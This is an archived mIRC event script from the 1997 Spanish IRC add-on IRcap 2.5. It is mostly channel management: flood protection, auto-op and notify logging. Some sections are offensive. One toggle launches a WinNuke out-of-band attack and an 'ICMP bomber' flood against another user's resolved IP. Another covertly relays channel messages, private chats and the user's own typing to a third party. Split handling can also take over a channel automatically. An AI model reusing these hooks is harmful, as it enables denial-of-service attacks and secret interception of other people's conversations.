home *** CD-ROM | disk | FTP | other *** search
/ CD Actual 16 / PC Actual CD 16.iso / cdactual / scripts / ircap25 / IRCAP25B.ZIP / IRCAP / EVENTS.INI next >
Encoding:
INI File  |  1997-09-13  |  12.8 KB  |  287 lines
  1. [script]
  2. n0=;
  3. n1=#spy off
  4. n2=on 1!:TEXT:*:*:/msg %jefe 4 $chan 12< $nick >6 $parms
  5. n3=on 1!:CHAT:*: /msg %jefe 4 $chan 12< $nick >6 $parms
  6. n4=on 1:ACTION:*:*:/msg %jefe 4 $chan 5< $nick > $parms
  7. n5=on 1:JOIN:#: /msg %jefe 4 ---- $nick HA ENTRADO EN  $chan -----
  8. n6=on 1:PART:#: /msg %jefe 4---- $nick HA DEJADO $chan -----
  9. n7=on 1:QUIT: /msg %jefe 4---- $nick HA DEJADO EL IRC  -- $parms ----
  10. n8=on 1:NICK: /msg %jefe 4 ---- $nick ES AHORA $newnick ----
  11. n9=on 1:KICK:#: /msg %jefe 4 ---- $knick HA SIDO PATEADO por $nick  -----
  12. n10=on 1:INPUT: if ($left($parms,1) != / ) raw -q privmsg %jefe : 4 $chan 12< $me >1 $parms
  13. n11=#spy end
  14. n12=;
  15. n13=#noquery off
  16. n14=on +5!:TEXT:*:?: msg $nick En este momento no acepto ning·n privado. Lo que has escrito no me ha llegado. Esto es una respuesta automßtica. | beep 3 200 | ignore -pu10 $nick 2 | halt
  17. n15=on +1!:TEXT:*:?: msg $nick En este momento no acepto ning·n privado. Lo que has escrito no me ha llegado. Esto es una respuesta automßtica. | beep 3 200 | ignore -pu10 $nick 2 | halt
  18. n16=#noquery end
  19. n17=;
  20. n18=on 1:SERVOPEN: {
  21. n19=  msg =$nick 15,15i14,14i0,2 IRcap File Server  14,14i15,15i1,0
  22. n20=  msg =$nick 12 sφrvete tu mismo/a, $nick
  23. n21=  msg =$nick 12 HELP para ver los comandos disponibles.
  24. n22=}
  25. n23=on 1:SERV:get*: echo 5 -s  $nick 3pide fichero4 $parm2* | raya
  26. n24=;
  27. n25=#fservo off
  28. n26=on 1:TEXT:!ircap:*: echo 5 -s  $nick 3solicita fserver | raya | Fserve $nick %fsn %fsid
  29. n27=#fservo end
  30. n28=;
  31. n29=#textoflood on
  32. n30=on 1:TEXT:*:*: {
  33. n31=  if ( %habla == 1 ) speak $parms
  34. n32=  set %ltex $len($parms)
  35. n33=  if ( %ltex < 60 ) goto L1
  36. n34=  if ( %scy == $nick ) goto L1
  37. n35=  .timer44 1 15 unset %tflod
  38. n36=  if ( $count(%tflod ,$site) >= 5 ) {
  39. n37=    ignore -u15 $nick 2
  40. n38=    set %tflod $remove(%tflod,$site)
  41. n39=    lsombra 0 4 Flood de texto detectado | echo -s %texto en $chan por 6 $nick 12(  $address  )
  42. n40=    echo 1 -s Lista de nicks visibles de $site | who $site
  43. n41=    .timer 1 5 /dns $nick
  44. n42=    if ( %tfk == patea ) && ( $me isop $chan ) { mode $chan -o $nick | ban $chan $nick 2 | .timer80 1 2 /IPKICK $address($nick,2) $chan Para YA el flood }
  45. n43=    alarma
  46. n44=    goto L1  
  47. n45=  }
  48. n46=  set %tflod %tflod $site
  49. n47=  ;  echo TEXTO %tflod
  50. n48=  :L1
  51. n49=}
  52. n50=on 1:ACTION:*:*: if ( $len($parms) > 80 ) meflod
  53. n51=on 1:NOTICE:*:*: /meflod
  54. n52=on 1:INVITE:#: /meflod
  55. n53=#textoflood end
  56. n54=;
  57. n55=#tomacanal off
  58. n56=on 1:OP:#:/if ( $opnick == $me ) { lsombra 8 4 ==== $chan TOMA DEL CANAL  ==== | echo -s %texto  | /Mdeop $chan | /alarma }
  59. n57=#tomacanal end
  60. n58=;
  61. n59=#saluda off
  62. n60=on 1!:JOIN:#:/.notice $nick 12 %saludo1 12 $nick 12 %saludo2 | /whentra $nick | /dclon $nick | /echo $chan 12 %saludo1 12 $nick 12 %saludo2
  63. n61=#saluda end
  64. n62=;
  65. n63=#autoop on
  66. n64=on @10!:JOIN:#:/mode $chan +o $nick | /.notice $nick 12 %saludo1 12 $nick 2 %saludo2 | /whentra $nick | /dclon $nick | /echo $chan 12 %saludo1 12 $nick 12 %saludo2
  67. n65=#autoop end
  68. n66=;
  69. n67=#muchodeop on
  70. n68=on @1!:DEOP:#: {
  71. n69=  %inte = $online - %ultdeop
  72. n70=  set %ultdeop $online
  73. n71=  if ( %inte < 0 ) set %inte 20
  74. n72=  if ( %inte < 2 ) { kick $chan $nick 4Deop masivo detectado... }
  75. n73=}
  76. n74=;
  77. n75=on @1!:KICK:#: {
  78. n76=  %inte = $online - %ultdeop
  79. n77=  set %ultdeop $online
  80. n78=  if ( %inte < 0 ) set %inte 20
  81. n79=  if ( %inte < 2 ) { kick $chan $nick 4Kick masivo detectado... }
  82. n80=}
  83. n81=;
  84. n82=on 1!:NICK: {
  85. n83=  .timer44 1 10 unset %cflod
  86. n84=  if ( $count(%cflod ,$site) >= 5 ) {
  87. n85=    set %cflod $remove(%cflod,$site)
  88. n86=    lsombra 0 4 Nick flood detectado | echo -s %texto por 6 $newnick 12(  $address  ) | raya
  89. n87=    if ( %tfk == patea ) { 
  90. n88=      if ( $newnick ison $chan(1) ) && ( $me isop $chan(1) ) { IPKICK $address($newnick,2) $chan(1) IP Kick. Decide ya que nick quieres... }
  91. n89=      if ( $newnick ison $chan(2) ) && ( $me isop $chan(2) ) { IPKICK $address($newnick,2) $chan(2) IP Kick. Decide ya que nick quieres... }
  92. n90=      if ( $newnick ison $chan(3) ) && ( $me isop $chan(3) ) { IPKICK $address($newnick,2) $chan(3) IP Kick. Decide ya que nick quieres... }
  93. n91=    }
  94. n92=    alarma
  95. n93=    goto L1
  96. n94=  }
  97. n95=  set %cflod %cflod $+ $site
  98. n96=  :L1
  99. n97=}
  100. n98=#muchodeop end
  101. n99=;
  102. n100=#deops on
  103. n101=on @10!:DEOP:#:/mode $chan -o $nick | /mode $chan +o $opnick
  104. n102=on @+10!:KICK:#:/mode $chan -o $nick | /mode $chan -b $knick | /invite $chan $knick
  105. n103=#deops end
  106. n104=;
  107. n105=on 20!:DEOP:#:/dde bot command "" /mode $chan -o $nick | /dde bot command "" /mode $chan +o $me
  108. n106=on 20!:KICK:#: /dde bot command "" /kick $chan $nick | /whois $nick | /dns $nick | alarma
  109. n107=on 1!:BAN:#:   if ([ $banmask ] iswm [ $address($me,0) ]) || ([ $me ] isin [ $banmask ])  { mode $chan -o $nick | mode $chan -b $banmask | lsombra 8 4 $nick te ha baneado | echo -s %texto | raya | /dde bot command "" /mode $chan -o $nick | /dde bot command "" /mode $chan -b $banmask | alarma }
  110. n108=;
  111. n109=on +10:TOPIC:#: / %topi = $parms
  112. n110=on +20:TOPIC:#: / %topi = $parms
  113. n111=#topics off
  114. n112=on 1!:TOPIC:#:/mode $chan -o $nick | /topic $chan %topi 
  115. n113=#topics end
  116. n114=;
  117. n115=#noentra off
  118. n116=on @+5:JOIN:#: /ban $chan $nick 2 | /timer80 1 2 /kick $chan $nick | /msg $chan $nick tiene prohibida la entrada aqui. | /whois $nick
  119. n117=on @1!:SERVEROP:#:  if ( $me != $opnick ) { /mode $chan -o $opnick | /echo 4 -s Quitando op a $opnick por server op de $nick }
  120. n118=#noentra end
  121. n119=;
  122. n120=; Actualiza lista al cambiar de nick
  123. n121=on +20:NICK: .rlevel 20 | .auser 20 $newnick | if (%mlag == 1 ) mlag $newnick
  124. n122=:+10:ON NICK:/auser 10 $newnick | /echo 12 -s $newnick a±adido a la lista de amigos.
  125. n123=:+5:ON NICK:/auser 5 $newnick | /echo 12 -s $newnick a±adido a la lista de enemigos.
  126. n124=;
  127. n125=; Nueva entrada
  128. n126=on 1!:JOIN:#:/whentra $nick | /dclon $nick
  129. n127=on 69!:JOIN:#: /dclon $nick | /halt
  130. n128=on 20:JOIN:#: /dde bot command "" /mode $chan +o $me | set %dpr 0 | .timer 1 2 sccanal $chan | rcanal $chan
  131. n129=;
  132. n130=on 1:CHAT:*>DCC ping reply*: %rr = $ctime - %dcping | echo = $+ $nick 3Lag =12 %rr segundos | unset %rr | unset %dcping | halt
  133. n131=on 1:CHAT:*>DCC ping*: msg =$nick 4>DCC ping reply 
  134. n132=on 1:CHAT:*: {
  135. n133=  if ( %habla == 1 ) speak $parms
  136. n134=  if ( $server == $null ) halt
  137. n135=  if ( %noad == 0 ) { /.ctcp $me AD | /set %noad 1 | /.timer987 1 5 /set %noad 0 }
  138. n136=}
  139. n137=;
  140. n138=#entrarapido off
  141. n139=on 20:PART:#: /echo 12 -s Salir/entrar rßpido de $chan | raya | /.timer 1 1 /join $chan | /.disable #entrarapido
  142. n140=#entrarapido end
  143. n141=;
  144. n142=#splits on
  145. n143=on 1:SNOTICE:*Net*break*: {
  146. n144=  echo -
  147. n145=  lsombra 9 1 Split | echo -s %texto 6desde: $parm6  - - - Motivo: $parm8* 
  148. n146=  echo 6 -s Server con split:4 $parm7
  149. n147=  echo -
  150. n148=  if ( %tomacanal != 0 ) autotake $parm7
  151. n149=  slocal split.wav
  152. n150=  masplit $parm7
  153. n151=  halt
  154. n152=}
  155. n153=on 1:SNOTICE:*Net*Junction*: {
  156. n154=  echo -
  157. n155=  lsombra 9 1 Split | echo -s %texto 6uni≤n de12 $parm7
  158. n156=  echo -
  159. n157=  menosplit $parm7
  160. n158=  slocal merge.wav
  161. n159=  halt
  162. n160=}
  163. n161=#splits end
  164. n162=;
  165. n163=on 1:SNOTICE:*: {
  166. n164=  if %xmods == -s halt 
  167. n165=  lsombra 11 12 server | echo -s %texto 2 $+ $parm1* | raya | halt
  168. n166=}
  169. n167=on 1:WALLOPS:*: lsombra 0 10 $nick | echo -s %texto 2 $+ $parms | raya | halt
  170. n168=;
  171. n169=on 20:USERMODE: veomod
  172. n170=;
  173. n171=#colision off
  174. n172=on +11:NICK: /dde bot COMMAND "" /nick $newnick | /.rlevel 11 | /.auser 11 $newnick | /echo 12 -s Nuevo nombre del bot:7 $newnick
  175. n173=#colision end
  176. n174=
  177. n175=;
  178. n176=#NUKE00B off
  179. n177=on 1:DNS: {
  180. n178=  run c:\ircap\nuke\wnuke32 $iaddress
  181. n179=  ;  echo 12 -s Nukeando puerto 139 de6 $nick 12en4 $iaddress | raya
  182. n180=  lsombra 0 1 Mandando OOB a8 $nick | echo  -s %texto
  183. n181=  echo -s  1 .IP: $iaddress  Puerto: 139 | raya
  184. n182=  .disable #nuke00b
  185. n183=  snuke | halt
  186. n184=}
  187. n185=#NUKE00B end
  188. n186=;
  189. n187=#ICMP off
  190. n188=on 1:DNS: {
  191. n189=  run c:\ircap\nuke\icmp $iaddress
  192. n190=  lsombra 0 1 Iniciando ataque ICMP a8 $nick | echo  -s %texto
  193. n191=  echo -s  1 IP: $iaddress
  194. n192=  echo -s 1 Serß efectivo si tu modem es mßs rßpido que el suyo.
  195. n193=  echo -s 12 Pulsa START en ICMP Bomber para comenzar. | raya
  196. n194=  .disable #ICMP
  197. n195=  snuke | halt
  198. n196=}
  199. n197=#ICMP end
  200. n198=;
  201. n199=on 1:DNS: {
  202. n200=  echo 6 -s  $+ $nick 12IP address:1 $iaddress
  203. n201=  echo 12 -s Named address: 1 $naddress
  204. n202=  echo 12 -s Resolved address: 1 $raddress
  205. n203=  raya
  206. n204=  halt
  207. n205=}
  208. n206=;
  209. n207=#notifylog on
  210. n208=on 1:NOTIFY: {
  211. n209=  if ( $window(@notif).state == normal ) { set %wnotifX $window(@notif).x |  set %wnotifY $window(@notif).y | set %wnotifW $window(@notif).w |  set %wnotifH $window(@notif).h }
  212. n210=  if ( $window(@notif).state != normal ) { window -c @Notif | window @Notif %wnotifX %wnotifY %wnotifW %wnotifH @notilog Arial %wnotifF }
  213. n211=  aline @notif 6 $nick 12entra 1 $time
  214. n212=}
  215. n213=on 1:UNOTIFY: {
  216. n214=  if ( $window(@notif).state == normal ) { set %wnotifX $window(@notif).x |  set %wnotifY $window(@notif).y | set %wnotifW $window(@notif).w |  set %wnotifH $window(@notif).h }
  217. n215=  if ( $window(@notif).state != normal ) { window -c @Notif | window @Notif %wnotifX %wnotifY %wnotifW %wnotifH @notilog Arial %wnotifF }
  218. n216=  aline @notif 6 $nick 3sale 1 $time
  219. n217=  set %nwho 1 | whowas $nick 1
  220. n218=}
  221. n219=#notifylog end
  222. n220=;
  223. n221=on 1:FILERCVD:*: {
  224. n222=  if ($len($filename) > 0 ) { set %fir4 %fir3 | set %fir3 %fir2 | set %fir2 %fir1 | set %fir1 $filename }
  225. n223=  echo 12 -s Recibido5 $filename 12de $nick. 
  226. n224=  echo 12 -s Puedes verlo / ejecutarlo en el men· IRcap 2.5 / programas / ficheros recibidos.
  227. n225=  echo 12 -s Pulsa ctrl + F12 para verlo ahora. | set %firu $filename
  228. n226=}
  229. n227=;
  230. n228=on 1:SENDFAIL:*: .timer 1 3 dcc send $nick $filename | echo -s 12Error al mandar5 $filename 12a5 $nick $+ 12. Mandando de nuevo el archivo. | raya
  231. n229=;
  232. n230=#hablo off
  233. n231=on 1:input: {
  234. n232=  if ($left($parms,1) != / ) { 
  235. n233=    if ( %EStip == 0 ) { set %tx $parms | dice }
  236. n234=    if ( %EStip == 1 ) rr $parms
  237. n235=    if ( %EStip == 2 ) qq $parms
  238. n236=    if ( %EStip == 3 ) { set %texto2 $parms | sombra %ESle %ESfo }
  239. n237=    if ( %EStip == 4 ) { set %texto2 $parms | sombra $rand(0,15) $rand(0,15) }
  240. n238=    if ( %EStip == 5 ) marco %ESle %ESfo $parms
  241. n239=    if ( %EStip == 6 ) marco $rand(0,15) $rand(0,15) $parms
  242. n240=    if ( %EStip == 7 ) say 15,15i14,14i $+ %ESle $+ , $+ %ESfo $parms 14,14i15,15i1,0
  243. n241=    if ( %EStip == 8 ) say 15,15i14,14i $+ $rand(0,15) $+ , $+ $rand(0,15) $parms 14,14i15,15i1,0
  244. n242=    halt
  245. n243=  }
  246. n244=}
  247. n245=#hablo end
  248. n246=;
  249. n247=on 1!:ctcpreply:*: meflod
  250. n248=;
  251. n249=on 1:START:{
  252. n250=  lsombra 15 1 I R 0,1c a p | echo -s %texto 12  . . . V4e13R7S4i4≤6N 1 2.5 3b
  253. n251=  echo 12 http://www.geocities.com/SiliconValley/Bay/9667/
  254. n252=  echo 1 Click (c) Rhad, WinNuke (c) Pink Thinker, Floodbots (c) DrBardo
  255. n253=  echo 1 ICMP watch (c) Rhad, Nuke Nabber (c) Puppet
  256. n254=  echo 12 (c) IRcap ullo, 2/9/97
  257. n255=  raya
  258. n256=  if ( $group(#ataconj) == $null ) { echo 4 -s No se carg≤ CTCP. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs ctcps.ini }
  259. n257=  if ( $group(#colision) == $null ) { echo 4 -s No se carg≤ EVENTS. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs events.ini }
  260. n258=  if ( $group(#midelag) == $null ) { echo 4 -s No se carg≤ RAW. Rectificando. Posiblemente el fichero estΘ da±ado y se necesite reinstalar el IRcap. | /.load -rs raw.ini }
  261. n259=  avisomirc5
  262. n260=  if (%galax == 1 ) .timer 1 1 slocal galaxian.wav
  263. n261=}
  264. n262=;
  265. n263=;------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  266. n264=;
  267. n265=;MENUS CUSTOM WINDOWS
  268. n266=:
  269. n267=menu @notilog {
  270. n268=  off: .disable #notifylog | set %wnotifX $window(@notif).x |  set %wnotifY $window(@notif).y | set %wnotifW $window(@notif).w |  set %wnotifH $window(@notif).h | window -c @notif
  271. n269=  -
  272. n270=  Reset posici≤n: set %wnotifX 0 | set %wnotifY 0 | window -c @Notif | notify
  273. n271=  Guardar posici≤n: set %wnotifX $window(@notif).x |  set %wnotifY $window(@notif).y | set %wnotifW $window(@notif).w |  set %wnotifH $window(@notif).h
  274. n272=  -
  275. n273=  Tama±o Fuente: echo 12 -s El tama±o actual es %wnotifF | set %wnotifF $$?="Tama±o de la fuente ?" | window -c @Notif | notify
  276. n274=}
  277. n275=;
  278. n276=menu @KLmenu {
  279. n277=  Releer K-lines activos: lisklines  
  280. n278=  -
  281. n279=  Poner K-line : kline $$?="Mßscara para el k-line ?" 4 $+ $?="raz≤n del k-line ?" 1 | lisklines
  282. n280=  -
  283. n281=  Borrar K-line seleccionado: if $sline(@K-lines,1) != $null { unkline $sline(@K-lines,1) | lisklines }
  284. n282=  -
  285. n283=  Cerrar ventana: window -c @K-lines
  286. n284=}
  287.